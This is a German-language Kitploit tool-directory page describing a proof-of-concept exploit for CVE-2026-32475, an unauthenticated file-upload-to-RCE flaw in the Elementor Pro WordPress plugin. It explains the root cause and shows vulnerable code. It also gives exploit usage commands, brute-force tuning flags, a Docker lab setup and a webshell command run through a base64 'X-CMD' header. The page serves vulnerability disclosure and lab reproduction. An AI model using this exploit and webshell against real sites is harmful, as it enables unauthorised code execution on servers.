Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-32475-PoC — # PoC für CVE-2026-32475: Elementor Pro <=4.2.1 nicht authentifizierter Datei-Upload zu RCE. Nur Stdlib-Python. | Kitploit
Tools/GitHubGitHub/boreas37/cve-2026-32475-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsPayload-Entwicklung
GitHubboreas37/cve-2026-32475-poc

CVE-2026-32475-PoC

# PoC für CVE-2026-32475: Elementor Pro <=4.2.1 nicht authentifizierter Datei-Upload zu RCE. Nur Stdlib-Python.

Repository anzeigen
1vor 1 TagNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-32475 — Elementor Pro Nicht authentifizierter beliebiger Datei-Upload → RCE

Proof-of-Concept für CVE-2026-32475 (CVSS 9.0): eine nicht authentifizierte Schwachstelle für beliebigen Datei-Upload im Elementor Pro WordPress-Plugin (≤ 4.2.1), die zu Remote Code Execution führt.

CVECVE-2026-32475
CVSS9.0 Kritisch
CWECWE-434 (Unbeschränkter Upload von Dateien mit gefährlichem Typ)
Authentifizierung erforderlichKeine
BetroffenElementor Pro ≤ 4.2.1
BehobenElementor Pro 4.2.2 (2026-08-19)
MelderTin Pham (TF1T), über das Patchstack Bug Bounty Program

Angriffsablauf

root@kitploit:~
Nicht authentifizierter Besucher
        │
        ▼
Elementor-Formularseite (Datei-Upload-Feld)
        │
        ▼
multipart/form-data POST → admin-ajax.php
        │
        ├── Teil #1: leere Datei
        │      └─► validation(): UPLOAD_ERR_NO_FILE → return   ◄── Validierung STOPT hier
        │
        └── Teil #2: shell.php
               └─► wird nie auf Typ geprüft
                       │
                       ▼
               process_field(): continue → verschiebt die .php-Payload trotzdem
                       │
                       ▼
        wp-content/uploads/elementor/forms/<uniqid>.php
                       │
                       ▼
              GET auf diese URL  ⇒  RCE

Grundursache — die beiden Schleifen widersprechen sich

Das Forms-Modul verarbeitet jeden hochgeladenen Eintrag in zwei getrennten Durchläufen mit unterschiedlicher Schleifen-Semantik:

root@kitploit:~
validation()                              process_field()
────────────                              ──────────────
foreach files as file:                    foreach files as file:
    if empty(file):                           if empty(file):
        add_error(...)                            continue          ◄─ überspringt nur diesen Eintrag
        return                                move_uploaded_file(...)  ◄─ verschiebt den Rest

validation() bricht beim ersten Eintrag ab, dessen Fehler UPLOAD_ERR_NO_FILE ist, sodass der darauf folgende .php-Eintrag nie auf seinen Typ geprüft wird. process_field() überspringt lediglich diesen leeren Eintrag und verschiebt trotzdem jeden weiteren in das öffentliche Uploads-Verzeichnis. Der Validator meldet einen Fehler, während der Mover fortfährt — die Desynchronisation zwischen den beiden Schleifen ist die Schwachstelle.

Verwundbarer Code (modules/forms/fields/upload.php, ≤ 4.2.1):

root@kitploit:~
// validation()
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
    return;                                   // ← bricht die gesamte Schleife ab
}

// process_field()
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
    continue;                                 // ← überspringt nur diesen Eintrag
}
...
$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
$filename = uniqid() . '.' . $file_extension; // vom Angreifer kontrollierte Endung überlebt
move_uploaded_file( $file['tmp_name'], $new_file );

Der Fix in 4.2.2 bringt die beiden Schleifen in Einklang — der leere Eintrag beendet die Validierung nicht mehr vorzeitig, sodass der .php-Eintrag auf seinen Typ geprüft und abgelehnt wird.

Was dieses PoC tut

  1. Ruft die Ziel-Formularseite ab und extrahiert post_id, form_id und die Upload-Feld-ID.
  2. Sendet den zweiteiligen bösartigen multipart-POST an admin-ajax.php (action=elementor_pro_forms_send_form).
  3. Stellt die Shell-URL wieder her, indem der vorhersehbare <uniqid>-Dateinamensraum durchsucht wird (siehe analysis.md für die vollständige uniqid → Dateiname-Zuordnung).
  4. Führt den angeforderten Befehl über die hochgeladene Webshell mittels eines HTTP-Headers aus und gibt die Ausgabe aus.

Warum die Webshell einen Header für Befehle verwendet

Die Shell liest ihren Befehl aus einem X-CMD-Request-Header (base64-dekodiert) statt aus einem Query-String/POST-Parameter. Dies dient nur dazu, den Befehlstransport von den Formularparametern getrennt und aus typischen Access-Log-Query-Strings herauszuhalten — es hat keinen Einfluss auf die Schwachstelle selbst.

Verwendung

root@kitploit:~
python3 el_rce_poc.py --url http://TARGET \
    --page-url http://TARGET/upload-form/ \
    --command "id; hostname; uname -a"

Nur Python-3-Standardbibliothek. Abstimmungs-Flags:

FlagStandardBedeutung
--probe-seconds0.05uniqid-Mikrosekunden-Fenster zum Durchsuchen (Sekunden)
--step-us2000Mikrosekunden zwischen den Probes
--workers24gleichzeitige Probe-Threads
--field-idautomanuell setzen, wenn die automatische Erkennung des Upload-Felds fehlschlägt

Hinweis zu langsamen Zielen: Die Probe-Phase kann für das Ziel schwer sein (tausende Requests). Auf kleinen Geräten, die sowohl Ziel als auch Angreifer hosten, kann der Webserver gleichzeitige Übermittlungen verwerfen — führen Sie mit --probe-seconds 0 aus, um nur die Beliebig-Upload-Primitive nachzuweisen, und lokalisieren Sie dann die abgelegte .php direkt auf dem Ziel unter wp-content/uploads/elementor/forms/ und verifizieren Sie sie.

Ergebniszustände

Das PoC trennt zwei unabhängige Meilensteine:

root@kitploit:~
Beliebig-Upload-Primitive   →   PASS / FAIL
Dateinamen-Wiederherstellung (uniqid)   →   PASS / PARTIAL
RCE-Bestätigung             →   PASS (beide oben erfolgreich)

Exit-Code 0 bedeutet vollständige RCE-Bestätigung. Exit-Code 2 bedeutet, dass die Upload-Primitive nachgewiesen wurde, der Dateiname aber innerhalb des Fensters nicht erraten werden konnte (verifizieren Sie die abgelegte .php unter wp-content/uploads/elementor/forms/ manuell).

Labor (Reproduktion)

Siehe docker-compose.yml. Vollständige Schritte:

root@kitploit:~
# 1) WordPress + MariaDB starten
docker compose up -d
# ~30s auf die DB warten, dann WordPress installieren
docker compose run --rm wpcli wp core install \
    --url=http://localhost:8090 --title="Lab" --skip-email \
    --admin_user=admin --admin_password=admin123! [email protected]

# 2) kostenloses Elementor installieren
docker compose run --rm wpcli wp plugin install elementor --activate

# 3) verwundbares Elementor Pro (<= 4.2.1) installieren.
#    Elementor Pro ist ein kostenpflichtiges Plugin — legen Sie Ihre legal erworbene
#    elementor-pro.zip (z. B. 4.2.1) zuerst neben docker-compose.yml ab:
docker compose run --rm wpcli wp plugin activate elementor-pro \
    || docker compose exec wordpress bash -c \
       "cd wp-content/plugins && unzip -o /var/www/html/epr.zip"

# 4) die Formularseite erstellen (das PoC-Repo enthält setup_form_page.php):
docker cp setup_form_page.php wp-lab:/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'

# 5) das PoC ausführen
python3 el_rce_poc.py --url http://localhost:8090 --page-url "http://localhost:8090/?page_id=<ID>"

Verifizierte Ausgabe (lokales ARM64-Labor)

Upload-Primitive bestätigt — Payload als <uniqid>.php abgelegt:

root@kitploit:~
$ ls wp-content/uploads/elementor/forms/
6a8cebf002529.php

RCE bestätigt durch Abruf der abgelegten Shell:

root@kitploit:~
$ curl http://localhost:8090/wp-content/uploads/elementor/forms/<uniqid>.php \
    -H "X-CMD: $(echo 'id && hostname' | base64)"
POC-RCE-OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
26564238432c

Behebung

Aktualisieren Sie Elementor Pro auf 4.2.2+. Bis dahin entfernen Sie Datei-Upload-Felder aus öffentlichen Formularen oder schränken Sie die Formularübermittlung per WAF-Regel ein.

Referenzen

  • Patchstack: Kritischer nicht authentifizierter Datei-Upload zu RCE in Elementor Pro
  • CVE-2026-32475 (CVSS 9.0, CWE-434), behoben in Elementor Pro 4.2.2 (2026-08-19)
  • Gemeldet von Tin Pham (TF1T) über das Patchstack Bug Bounty Program

Haftungsausschluss

Nur für autorisierte Sicherheitsforschung und Labornutzung.

Tool herunterladen